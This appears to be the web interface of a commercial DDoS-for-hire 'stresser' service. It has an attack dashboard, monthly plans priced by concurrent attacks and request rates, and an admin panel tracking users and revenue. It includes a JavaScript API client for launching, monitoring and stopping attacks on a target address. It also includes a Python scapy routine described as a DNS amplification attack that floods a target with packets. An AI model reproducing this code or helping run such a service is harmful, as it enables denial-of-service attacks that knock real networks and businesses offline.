System Dashboard
Real-time network stress testing metrics
Total Attacks
0
↑ All time
Active Sessions
0
Currently running
Concurrent Limit
3
Available slots
Uptime
99.8%
↑ Last 30 days
⚡ Attack Control Center
Configure and deploy network stress tests
⚔️ Attack Method
⚙️ Parameters
Silver Plan Active - Limits Applied
Packets Sent
0
Data Transmitted
0 MB
Current Rate
0 req/s
Elapsed Time
0s
Progress
0%
00:00:00
[INFO]
System ready. Awaiting configuration...
Subscription Plans
Choose the plan that fits your testing requirements
Bronze Tier
$15/mo
Perfect for basic stress testing
- 1 Concurrent Attack
- Max 1800 seconds duration
- DNS Amplification only
- Up to 1000 req/s
- Basic support (48h)
- 7-day attack logs
Silver Tier
$25/mo
Most popular for professionals
- 3 Concurrent Attacks
- Max 3600 seconds duration
- All attack methods
- Up to 5000 req/s
- Priority support (24h)
- 30-day attack logs
- API access included
- Advanced analytics
Gold Tier
$50/mo
Enterprise-grade testing suite
- 10 Concurrent Attacks
- Max 7200 seconds duration
- All methods + custom
- Unlimited request rate
- VIP support (1h)
- Unlimited attack logs
- Full API suite
- Custom configurations
- Dedicated infrastructure
- White-label option
Server Connection Configuration
Backend integration examples for connecting attack infrastructure
Backend API Endpoints
Backend Integration Code (JavaScript)
class ArakClient {
constructor(apiKey) {
this.baseUrl = 'https://api.arak.network/v1';
this.apiKey = apiKey;
this.headers = {
'Authorization': `Bearer ${apiKey}`,
'Content-Type': 'application/json'
};
}
async launchAttack(config) {
const response = await fetch(`${this.baseUrl}/attacks/launch`, {
method: 'POST',
headers: this.headers,
body: JSON.stringify({
target: config.target,
port: config.port,
method: config.method,
duration: config.duration,
threads: config.threads,
packet_size: config.packetSize,
rate: config.rate
})
});
return await response.json();
}
async getStatus(attackId) {
const response = await fetch(`${this.baseUrl}/attacks/${attackId}/status`, {
headers: this.headers
});
return await response.json();
}
async stopAttack(attackId) {
const response = await fetch(`${this.baseUrl}/attacks/${attackId}/stop`, {
method: 'POST',
headers: this.headers
});
return await response.json();
}
connectWebSocket(attackId) {
const ws = new WebSocket(`wss://ws.arak.network/attacks/${attackId}`);
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
console.log('Attack update:', data);
};
return ws;
}
}
const client = new ArakClient('sk-arak-demo-xxxxxxxxxxxxx');
const attack = await client.launchAttack({
target: '192.168.1.100',
port: 80,
method: 'DNS Amplification',
duration: 60,
threads: 10,
packetSize: 512,
rate: 1000
});
console.log('Attack launched:', attack.id);
Python Backend Example
import asyncio
from scapy.all import *
class AttackServer:
def __init__(self, target, port, method):
self.target = target
self.port = port
self.method = method
self.running = False
self.packets_sent = 0
async def dns_amplification(self, duration):
"""DNS Amplification attack implementation"""
end_time = time.time() + duration
while time.time() < end_time and self.running:
packet = IP(dst=self.target) / UDP(dport=self.port) / DNS(
rd=1,
qd=DNSQR(qname="example.com")
)
send(packet, verbose=False)
self.packets_sent += 1
await asyncio.sleep(0.001)
def start_attack(self, duration):
self.running = True
asyncio.run(self.dns_amplification(duration))
def stop_attack(self):
self.running = False
⚡ Admin Control Panel
System administration and user management
Total Users
247
↑ 12 this week
Active Users
89
Online now
Total Attacks
15.2K
↑ All time
Revenue (MTD)
$4.8K
↑ 23% vs last month
Open Tickets
12
Awaiting response
API Response Time
45ms
Database Load
23%
Server Uptime
99.97%
Active Connections
1,247